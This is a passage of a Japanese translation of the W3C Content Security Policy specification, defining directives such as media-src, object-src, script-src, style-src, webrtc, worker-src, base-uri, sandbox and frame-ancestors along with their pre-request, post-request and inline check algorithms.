manifest-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.7.2.
manifest-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
リクエスト request、レスポンス response、 ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
manifest-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.8.
media-src
media-src指令は、動画、音声、および関連するテキストトラックリソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "media-src" directive-value = serialized-source-list
Content-Security-Policy: media-src https://example.com/
以下のコードによるフェッチはネットワークエラーとなります。指定URLがmedia-srcのソースリストと一致しないためです:
< audio src = "https://example.org/audio" ></ audio > < video src = "https://example.org/video" > < track kind = "subtitles" src = "https://example.org/subtitles" > </ video >
6.1.8.1.
media-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
media-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.8.2.
media-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
リクエスト request、レスポンス response、 ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
media-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.9.
object-src
object-src指令は、プラグインコンテンツをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "object-src" directive-value = serialized-source-list
Content-Security-Policy: object-src https://example.com/
以下のコードによるフェッチはネットワークエラーとなります。指定URLがobject-srcのソースリストと一致しないためです:
< embed src = "https://example.org/flash" ></ embed > < object data = "https://example.org/flash" ></ object >
プラグインコンテンツが関連するURLなしでロードされた場合(たとえばobject要素にdata属性がないが、指定されたtypeに基づいてデフォルトプラグインがロードされる場合など)、object-srcの値が'none'なら必ずブロックされます(MUST)。それ以外の場合は許可されます。
注:
object-src指令は、objectやembed要素に対して行われた全てのリクエストに作用します。これは、これら要素が生成する子ナビゲーションへのリクエスト(ナビゲーションも含む)にも及びます。これは、データが他の指令で制限される内容と意味的に同等であっても同じです。たとえば、object要素にtext/htmlのMIMEタイプが指定された場合なども含まれます。
注: プラグインリソースへの直接ナビゲーション(つまり、プラグインがナビゲーション可能内で直接開かれ、embedやobject要素で埋め込まれたサブリソースとしてではない場合)、そのリソースとともに配信されたポリシーは、生成されたDocumentに適用されます。つまり、object-src 'none'ポリシーをレスポンスと共に配信することで、任意リソースのプラグインコンテンツとしての実行を防ぐことができます。プラグイン(特にFlashなど)のパワーやセキュリティモデルの特殊性を考慮すると、Rosetta
Flashのような攻撃ベクトル対策にも有効です。
6.1.9.1.
object-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
object-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.9.2.
object-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
リクエスト request、レスポンス response、 ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
object-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.10.
script-src
script-src指令は、スクリプトの実行可能な場所を制限します。これはscript要素に直接ロードされるURLだけでなく、インラインスクリプトブロックやXSLTスタイルシート[XSLT]など、スクリプト実行を引き起こすものにも該当します。指令名と値の構文は以下のABNFで示されます:
directive-name = "script-src" directive-value = serialized-source-list
script-src指令は、すべてのスクリプト類似の宛先(worker-srcが存在しなければワーカー系宛先も含む)に対するデフォルトのフォールバックとして機能します。細かな制御が不要な場合は、script-srcをscript-src-attrやscript-src-elemより優先して使うべきです。多くの場合、インラインイベントハンドラやscript要素ごとに権限リストを分ける必要はありません。
script-src指令は以下の6つの項目を制御します:
-
スクリプトのリクエストは§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。
-
スクリプトのレスポンスは§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。
-
インライン
scriptブロックは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。全てのポリシーが暗黙的に(script-srcやdefault-src指令が指定されていない場合)または明示的に("unsafe-inline"、nonce-source、hash-sourceが一致する場合)インラインスクリプトを許可しない限り、動作がブロックされます。 -
次のJavaScript実行シンクは"
unsafe-eval"と"trusted-types-eval"ソース式で制御されます:-
setTimeout()(最初の引数がCallableでない場合) -
setInterval()(最初の引数がCallableでない場合)
注: ユーザーエージェントが非標準シンク(
setImmediate()やexecScript()など)を実装している場合も、"unsafe-eval"で制御すべきです(SHOULD)。"unsafe-eval"はグローバルなページフラグとして働くため、script-src-attrやscript-src-elemはこのチェックでは使用せず、常にscript-src(またはそのフォールバック指令)が使われます。 -
次のWebAssembly実行シンクは"
wasm-unsafe-eval"または"unsafe-eval"ソース式で制御されます:注: "
wasm-unsafe-eval"ソース式はより限定的な式です。例えば、"unsafe-eval"はWebAssemblyのコンパイル(およびインスタンス化)とJavaScriptでの"eval"操作の両方を許可しますが、"wasm-unsafe-eval"はWebAssemblyのみ許可し、JavaScriptには影響しません。 -
javascript:URLへのナビゲーションは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。スクリプトは、#3の条件通り全てのポリシーがインラインスクリプトを許可する場合のみ実行されます。
6.1.10.1.
script-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
script-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.1.1 スクリプト指令の事前リクエストチェック を request、このディレクティブ、policy、self-originで実行した結果を返す。
6.1.10.2.
script-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
リクエスト request、レスポンス response、 ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
script-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.1.2 スクリプト指令の事後リクエストチェック を request、response、このディレクティブ、policy、self-originで実行した結果を返す。
6.1.10.3.
script-src インラインチェック
この指令のインラインチェックアルゴリズムは以下の通りです:
Element
element、文字列type、policy
policy、文字列sourceが与えられた場合:
-
保証:elementはnullでない、またはtypeが"
navigation"である。 -
nameを§ 6.8.2 インラインチェック用有効指令取得 をtypeに対して実行した結果とする。
-
§ 6.8.4 取得指令実行すべきかをname、
script-src、policyで実行した結果が"No"なら、"Allowed"を返す。 -
§ 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?をelement、この指令の値、type、sourceで実行した結果が"
Does Not Match"なら、"Blocked"を返す。 -
"
Allowed"を返す。
6.1.11.
script-src-elem
この指令名と値の構文は以下のABNFで示されます:
directive-name = "script-src-elem" directive-value = serialized-source-list
script-src-elem指令は、全てのスクリプトリクエストとスクリプトブロックに適用されます。スクリプトを実行する属性(インラインイベントハンドラ)はscript-src-attrで制御されます。
そのため、script-srcと比較した場合、以下の違いがあります:
-
script-src-elemは、インラインチェックの|type|が"script"または"navigation"の場合に適用されます("script attribute"の場合は無視されます)。 -
script-src-elemの値は、"unsafe-eval"チェックで制御されるJavaScript実行シンクのチェックには使用されません。 -
script-src-elemはworker-src指令のフォールバックには使われません。worker-srcのチェックは引き続きscript-srcをフォールバックとして利用します。
6.1.11.1.
script-src-elem 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
与えられた リクエスト request、ポリシー policy、 そして オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
script-src-elem、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.1.1 スクリプトディレクティブの事前リクエストチェック を request、このディレクティブ、policy、self-origin で実行した結果を返す。
6.1.11.2.
script-src-elem 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
次のものが与えられた場合:リクエスト request、レスポンス response、ポリシー policy、 オリジン self-origin:
-
name を § 6.8.1 リクエストに対して有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
script-src-elem、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.1.2 スクリプトディレクティブの事後リクエストチェック を request、response、このディレクティブ、policy、self-origin で実行した結果を返す。
6.1.11.3.
script-src-elem インラインチェック
この指令のインラインチェックアルゴリズムは以下の通りです:
Element
element、文字列type、policy
policy、文字列sourceが与えられた場合:
-
保証:elementはnullでない、またはtypeが"
navigation"である。 -
nameを§ 6.8.2 インラインチェック用有効指令取得 をtypeに対して実行した結果とする。
-
§ 6.8.4 取得指令実行すべきかをname、
script-src-elem、policyで実行した結果が"No"なら、"Allowed"を返す。 -
§ 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?をelement、この指令の値、type、sourceで実行した結果が"
Does Not Match"なら、"Blocked"を返す。 -
"
Allowed"を返す。
6.1.12.
script-src-attr
この指令名と値の構文は以下のABNFで示されます:
directive-name = "script-src-attr" directive-value = serialized-source-list
script-src-attr指令は、イベントハンドラに適用されます。これが存在する場合、該当チェックではscript-src指令を上書きします。
6.1.12.1.
script-src-attr インラインチェック
この指令のインラインチェックアルゴリズムは以下の通りです:
Element
element、文字列type、policy
policy、文字列sourceが与えられた場合:
-
保証:elementはnullでない、またはtypeが"
navigation"である。 -
nameを§ 6.8.2 インラインチェック用有効指令取得 をtypeに対して実行した結果とする。
-
§ 6.8.4 取得指令実行すべきかをname、
script-src-attr、policyで実行した結果が"No"なら、"Allowed"を返す。 -
§ 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?をelement、この指令の値、type、sourceで実行した結果が"
Does Not Match"なら、"Blocked"を返す。 -
"
Allowed"を返す。
6.1.13.
style-src
style-src指令は、Documentに適用可能なスタイルの場所を制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "style-src" directive-value = serialized-source-list
style-src指令は複数の項目を制御します:
-
スタイルのリクエストは§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。これには以下が含まれます:
-
スタイルリクエストのレスポンスは§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。
-
インライン
styleブロックは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。すべてのポリシーが暗黙的に(style-srcやdefault-src指令が指定されていない場合)または明示的に("unsafe-inline"、nonce-source、hash-sourceが一致する場合)インラインスタイルを許可しない限りブロックされます。 -
以下のCSSアルゴリズムは
unsafe-evalソース式で制御されます:これには、例えばCSSOMの各種
cssTextセッターやinsertRuleメソッドの全呼び出しが含まれます[CSSOM] [HTML]。この説明は要改善。[w3c/webappsec-csp Issue #212]
6.1.13.1.
style-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
style-src、policy で実行した結果が "No" の場合、 "Allowed" を返す。 -
§ 6.7.2.3 ノンスがソースリストに一致するか を request の 暗号学的ノンスメタデータ とこのディレクティブの 値で実行した結果が "
Matches" の場合、 "Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.13.2.
style-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
リクエスト request、レスポンス response、 ポリシー policy、オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
style-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.3 ノンスがソースリストに一致するか を request の 暗号学的ノンスメタデータ とこのディレクティブの 値で実行した結果が "
Matches" の場合、"Allowed" を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.13.3.
style-src インラインチェック
この指令のインラインチェックアルゴリズムは以下の通りです:
Element
element、文字列type、policy
policy、文字列sourceが与えられた場合:
-
nameを§ 6.8.2 インラインチェック用有効指令取得 をtypeに対して実行した結果とする。
-
§ 6.8.4 取得指令実行すべきかをname、
style-src、policyで実行した結果が"No"なら、"Allowed"を返す。 -
§ 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?をelement、この指令の値、type、sourceで実行した結果が"
Does Not Match"なら、"Blocked"を返す。 -
"
Allowed"を返す。
この指令の初期化アルゴリズムは以下の通りです:
CSSOMアルゴリズムをロックダウンするために、実行コンテキストに何らかの興味深い処理を行う必要がある。CSSOMはここにフックがないため、適切な方法を検討するためCSSOM側と協力したい。
6.1.14.
style-src-elem
この指令名と値の構文は以下のABNFで示されます:
directive-name = "style-src-elem" directive-value = serialized-source-list
style-src-elem指令は、インライン属性で定義されたスタイルを除く、スタイルの挙動を制御します。
6.1.14.1.
style-src-elem 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
リクエスト request、ポリシー policy、 オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
style-src-elem、policy で実行した結果が "No" の場合、 "Allowed" を返す。 -
§ 6.7.2.3 ノンスがソースリストに一致するか を request の 暗号学的ノンスメタデータ とこのディレクティブの 値で実行した結果が "
Matches" の場合、 "Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.14.2.
style-src-elem 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
リクエスト request、レスポンス response、ポリシー policy、オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブ実行判定 を name、
style-src-elem、policy で実行した結果が "No" の場合、 "Allowed" を返す。 -
§ 6.7.2.3 ノンスがソースリストに一致するか を request の 暗号学的ノンスメタデータ とこのディレクティブの 値で実行した結果が "
Matches" の場合、 "Allowed" を返す。 -
§ 6.7.2.6 リクエストへのレスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.1.14.3.
style-src-elem インラインチェック
この指令のインラインチェックアルゴリズムは以下の通りです:
Element
element、文字列type、policy
policy、文字列sourceが与えられた場合:
-
nameを§ 6.8.2 インラインチェック用有効指令取得 をtypeに対して実行した結果とする。
-
§ 6.8.4 取得指令実行すべきかをname、
style-src-elem、policyで実行した結果が"No"なら、"Allowed"を返す。 -
§ 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?をelement、この指令の値、type、sourceで実行した結果が"
Does Not Match"なら、"Blocked"を返す。 -
"
Allowed"を返す。
6.1.15.
style-src-attr
この指令名と値の構文は以下のABNFで示されます:
directive-name = "style-src-attr" directive-value = serialized-source-list
style-src-attr指令は、スタイル属性の挙動を制御します。
6.1.15.1.
style-src-attr インラインチェック
この指令のインラインチェックアルゴリズムは以下の通りです:
Element
element、文字列type、policy
policy、文字列sourceが与えられた場合:
-
nameを§ 6.8.2 インラインチェック用有効指令取得 をtypeに対して実行した結果とする。
-
§ 6.8.4 取得指令実行すべきかをname、
style-src-attr、policyで実行した結果が"No"なら、"Allowed"を返す。 -
§ 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?をelement、この指令の値、type、sourceで実行した結果が"
Does Not Match"なら、"Blocked"を返す。 -
"
Allowed"を返す。
6.2. その他の指令
6.2.1. webrtc
webrtc指令は、WebRTCによる接続の確立を制限します。指令名と値の構文は次のABNFで表されます:
directive-name = "webrtc" directive-value = "'allow'" / "'block'"
Content-Security-Policy: webrtc 'block'
ローカルICE候補は公開されず、ピア接続で指定されたICEサーバーに対してSTUNチェックが行われません。JSで提供されるリモート候補への接続確認(connectivity-check)も試みられません。connectionStateは"new"から直接"failed"に遷移し、"connected"には移行しません。pc.restartIce()を試みても同様の結果となります。
< script > const iceServers= [{ urls: "stun:stun.l.google.com:19302" }]; const pc= new RTCPeerConnection({ iceServers}); pc. createDataChannel( "" ); const io= new WebSocket( 'ws://example.com:8080' ); pc. onicecandidate= ({ candidate}) => io. send({ candidate}); pc. onnegotiationneeded= async () => { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); }; io. onmessage= async ({ data: { description, candidate}}) => { if ( description) { await pc. setRemoteDescription( description); if ( description. type== "offer" ) { await pc. setLocalDescription(); io. send({ description: pc. localDescription}); } } else if ( candidate) await pc. addIceCandidate( candidate); }; </ script >
6.2.1.1.
webrtc 事前接続チェック
この指令のwebrtc事前接続チェックは以下の通りです:
-
この指令の値が1つだけで、その値が"
'allow'"とASCII大文字・小文字を区別しない一致をする場合、"Allowed"を返す。 -
"
Blocked"を返す。
6.2.2.
worker-src
worker-src指令は、Worker、
SharedWorker、
ServiceWorkerとしてロードできるURLを制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "worker-src" directive-value = serialized-source-list
Content-Security-Policy: worker-src https://example.com/
下記コードによるフェッチは全てネットワークエラーになります。指定URLがworker-srcのソースリストと一致しないためです:
< script > var blockedWorker= new Worker( "data:application/javascript,..." ); blockedWorker= new SharedWorker( "https://example.org/" ); navigator. serviceWorker. register( 'https://example.org/sw.js' ); </ script >
6.2.2.1.
worker-src 事前リクエストチェック
この指令の事前リクエストチェックは以下の通りです:
次のものが与えられた場合:リクエスト request、ポリシー policy、 オリジン self-origin:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブが実行されるべきか を name、
worker-src、policy で実行した結果が "No" の場合、"Allowed" を返す。 -
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。 -
"
Allowed" を返す。
6.2.2.2.
worker-src 事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
リクエスト request、レスポンス response、ポリシー policy、オリジン self-origin が与えられた場合:
-
name を § 6.8.1 リクエストで有効なディレクティブ取得 を request で実行した結果とする。
-
§ 6.8.4 fetchディレクティブが実行されるべきか を name、
worker-src、policy で実行した結果が "No" の場合、 "Allowed" を返す。 -
§ 6.7.2.6 レスポンスがソースリストに一致するか を response、request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、 "Blocked" を返す。 -
"
Allowed" を返す。
6.3. ドキュメント指令
以下の指令は、ポリシーが適用されるドキュメントまたはワーカー環境のプロパティを制御します。
6.3.1.
base-uri
base-uri指令は、URLが
Documentのbase要素で利用できるかを制限します。指令名と値の構文は以下のABNFで示されます:
directive-name = "base-uri" directive-value = serialized-source-list
以下のアルゴリズムは、HTMLの凍結ベースURLの設定アルゴリズム内で呼び出され、この指令の監視と強制を行います:
6.3.1.1. documentにbaseは許可されているか?
URL
baseとDocument
documentが与えられた場合、このアルゴリズムはbaseがbase要素のhref属性値として利用できる場合は"Allowed"を返し、そうでなければ"Blocked"を返します:
-
CSPリストをdocumentのグローバルオブジェクトのcspリストとする。
-
各policyについて、CSPリストのpoliciesを繰り返す:
-
source listをnullとする。
-
ディレクティブのnameが "
base-uri"のものがpolicyのディレクティブセットに存在する場合、そのディレクティブの値をsource listに設定する。 -
source listがnullの場合、次のpolicyにスキップする。
-
§ 6.7.2.7 URLがorigin内のsource listとリダイレクト回数付きで一致するかを base、source list、CSPリストのself-origin、
0で実行し、 "Does Not Match"の場合:-
violationを§ 2.4.1 グローバル・ポリシー・ディレクティブ用違反オブジェクト生成をdocumentのグローバルオブジェクト、policy、"
base-uri"で実行した結果にする。 -
violationのresourceを"
inline"に設定する。 -
§ 5.5 違反を報告するをviolationに対して実行する。
-
policyのdispositionが"
enforce"の場合、"Blocked"を返す。
-
注: フォールバックベースURLと比較するのは、 iframe
srcdocDocumentのような不透明オリジンにサンドボックスされた場合を正しく扱うためである。 -
-
"
Allowed"を返す。
6.3.2.
sandbox
sandbox指令は、ユーザーエージェントがリソースに適用するHTMLサンドボックスポリシーを指定します。これは、iframeのsandbox属性と同様に機能します。
指令の構文は次のABNFで示されます。さらに、各トークン値はHTML仕様で許可されたiframeのsandbox属性値のいずれかでなければなりません(MUST)[HTML]。
directive-name = "sandbox" directive-value = "" / token *( required-ascii-whitespace token )
この指令には報告要件はありません。Content-Security-Policy-Report-Onlyヘッダーやmeta要素内で配信された場合は完全に無視されます。
6.3.2.1.
sandbox 初期化
この指令の初期化アルゴリズムは、ポリシーに含まれるsandbox値に従って、ワーカーの実行が許可されているかどうかを確認する役割を持ちます:
注: sandbox指令は、Documentの有効サンドボックスフラグセットをCSP由来サンドボックスフラグ経由で調整する役割も持ちます。
Documentまたはグローバルオブジェクトcontextとpolicy
policyが与えられた場合:
-
policyのディスポジションが"
enforce"以外、またはcontextがWorkerGlobalScopeでなければ、このアルゴリズムを中止。 -
sandboxing flag setを新しいサンドボックスフラグセットとして作成。
-
サンドボックス指令のパースを、この指令の値を入力、sandboxing flag setを出力として実行。
-
sandboxing flag setにサンドボックススクリプトブラウジングコンテキストフラグまたはサンドボックスオリジンブラウジングコンテキストフラグが含まれていれば"
Blocked"を返す。注: ワーカーをユニークオリジンにサンドボックス化可能にする場合は、この動作変更が必要になるかもしれません。
-
"
Allowed"を返す。
6.4. ナビゲーション指令
6.4.1.
form-action
form-action指令は、フォーム送信のターゲットとなるURLを制限します。指令の構文は以下のABNFで示されます:
directive-name = "form-action" directive-value = serialized-source-list
6.4.1.1.
form-action 事前ナビゲーションチェック
リクエスト request、文字列 navigation type
("form-submission" または "other")、ポリシー
policy、オリジン self-origin が与えられた場合、このアルゴリズムは
"Blocked" を返す(フォーム送信が form-action ディレクティブの制約に違反する場合)、
そうでなければ "Allowed" を返す。
これは form-action ディレクティブの事前ナビゲーションチェックとなる:
-
Assert: policy はこのアルゴリズムでは使用されない。
-
navigation type が "
form-submission" の場合:-
§ 6.7.2.5 リクエストがソースリストに一致するか を request、このディレクティブの 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。
-
-
"
Allowed" を返す。
6.4.2.
frame-ancestors
frame-ancestors指令は、URLが
frame、
iframe、
object、
embedでリソースを埋め込み可能かどうかを制限します。
この指令は、リソースが潜在的に悪意あるコンテキストへ埋め込まれるリスクを避けることで、多くのUIリドレッシング[UISECURITY]攻撃を防ぐことができます。
指令の構文は以下のABNFで示されます:
directive-name = "frame-ancestors" directive-value = ancestor-source-list ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'" ancestor-source = scheme-source / host-source / "'self'"
frame-ancestors指令は、meta要素で宣言されたポリシーに含まれている場合は無視されます。
注: frame-ancestors指令の構文はソースリストに似ていますが、frame-ancestorsはdefault-src指令の値にはフォールバックしません。つまり、default-src 'none'を宣言しても、リソースは誰でも埋め込めます。
6.4.2.1.
frame-ancestors ナビゲーションレスポンスチェック
次のものが与えられた場合:リクエスト request、文字列 navigation type
("form-submission" または "other")、レスポンス
navigation response、ナビゲーブル target、文字列 check type
("source" または "response")、
ポリシー policy、オリジン
self-originが与えられた場合、このアルゴリズムは target の祖先に
frame-ancestors ディレクティブに違反があれば "Blocked" を返し、
そうでなければ "Allowed" を返す。
これは frame-ancestors ディレクティブのナビゲーションレスポンスチェックとなる:
-
Assert: request, navigation response, navigation typeはこのアルゴリズム以降は使用しない。
frame-ancestorsは navigation responseのframe-ancestors ディレクティブのみに関係するため。 -
check type が "
source" の場合、"Allowed" を返す。注: 'frame-ancestors' ディレクティブは target ナビゲーブルにのみ関係し、requestのコンテキストには影響しない。
-
targetが子ナビゲーブルでない場合、"
Allowed" を返す。 -
currentをtargetとする。
-
currentが子ナビゲーブルである間:
-
documentをcurrentのコンテナドキュメントとする。
-
originをURLパーサで オリジンのASCIIシリアライゼーション documentのoriginに対して実行した結果とする。
-
§ 6.7.2.7 URLがorigin内のsource listとリダイレクト回数付きで一致するかをorigin、このディレクティブの値、self-origin、
0で実行し、"Does Not Match"の場合、"Blocked" を返す。 -
currentをdocumentのノードナビゲーブルとする。
-
-
"
Allowed" を返す。
6.4.2.2.
``X-Frame-Options``との関係
X-Frame-Options`このディレクティブは、```
HTTPレスポンスヘッダーと類似しています。X-Frame-Options`'none'ソース式はこのヘッダーのDENYにほぼ相当し、'self'はこのヘッダーのSAMEORIGINに対応します。[HTML]
後方互換性のあるデプロイを可能にするため、frame-ancestorsディレクティブは
```ヘッダーを上書きします。リソースが、policyにdirectiveとして
X-Frame-Options`frame-ancestorsという名前が含まれ、そのdispositionが
"enforce"の場合、
```ヘッダーは
HTMLの処理モデルに従って無視されます。
X-Frame-Options`
6.5. レポート指令
本書の様々なアルゴリズムは、violationオブジェクトを§ 2.4.2 リクエストおよびポリシー用違反オブジェクトの作成または§ 2.4.1 グローバル・ポリシー・指令用違反オブジェクトの作成で構築し、§ 5.5 違反を報告するに渡してレポート処理にフックします。
6.5.1.
report-uri
report-uri指令は廃止予定です。代わりにreport-to指令を利用してください。後者が存在する場合、この指令は無視されます。後方互換性のため、以下のように両方指定することを推奨します:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname
report-uri指令は、特定の動作が防止されたときにCSP違反レポートを送信する宛先エンドポイントを定義します。
directive-name = "report-uri" directive-value = uri-reference *( required-ascii-whitespace uri-reference ) ; uri-reference文法はRFC 3986セクション4.1に定義されています。
この指令自体には効果はなく、他の指令と組み合わせて初めて意味を持ちます。
6.5.2.
report-to
report-to指令は違反レポートを送るべきレポートエンドポイントを定義します[REPORTING]。挙動は§ 5.5 違反を報告するで定義されています。指令名と値の構文は以下のABNFです:
directive-name = "report-to" directive-value = token
6.6. 他文書で定義された指令
本書は指令のコアセットを定義し、他仕様によるモジュール拡張の枠組みを設けています。本書執筆時点でCSPを拡張する安定文書例:
-
[MIX]は
block-all-mixed-contentを定義します。 -
[UPGRADE-INSECURE-REQUESTS]は
upgrade-insecure-requestsを定義します。
CSP拡張は[RFC7762]の手順で登録する必要があります(MUST)。特に、当該文書のセクション4.2の基準に注意してください。
新しい指令は、FetchやHTMLに統合するため、事前リクエストチェック、事後リクエストチェック、初期化フックを利用すべきです(SHOULD)。
6.7. 照合アルゴリズム
6.7.1. スクリプト指令チェック
6.7.1.1. スクリプト指令事前リクエストチェック
リクエスト request、ディレクティブ directive、ポリシー policy、オリジン self-origin が与えられた場合:
-
request の destination が script-like の場合:
-
§ 6.7.2.3 ノンスがソースリストに一致するか を request の 暗号学的ノンスメタデータ と このディレクティブの 値 で実行した結果が "
Matches" の場合、"Allowed" を返す。 -
§ 6.7.2.4 インテグリティメタデータがソースリストに一致するか を request の インテグリティメタデータ と このディレクティブの 値 で実行した結果が "
Matches" の場合、"Allowed" を返す。 -
directive の 値 に ソース式 が含まれ、 それが "
'strict-dynamic'" keyword-source とASCIIケース非区別で一致する場合:-
request の パーサーメタデータ が "parser-inserted"の場合、"
Blocked" を返す。それ以外の場合、"
Allowed" を返す。注: "
'strict-dynamic'" の詳細は § 8.2 "'strict-dynamic'" の利用方法で説明されている。
-
-
§ 6.7.2.5 リクエストがソースリストに一致するか を request、directive の 値、self-origin で実行した結果が "
Does Not Match" の場合、"Blocked" を返す。
-
-
"
Allowed" を返す。
6.7.1.2. スクリプト指令事後リクエストチェック
この指令の事後リクエストチェックは以下の通りです:
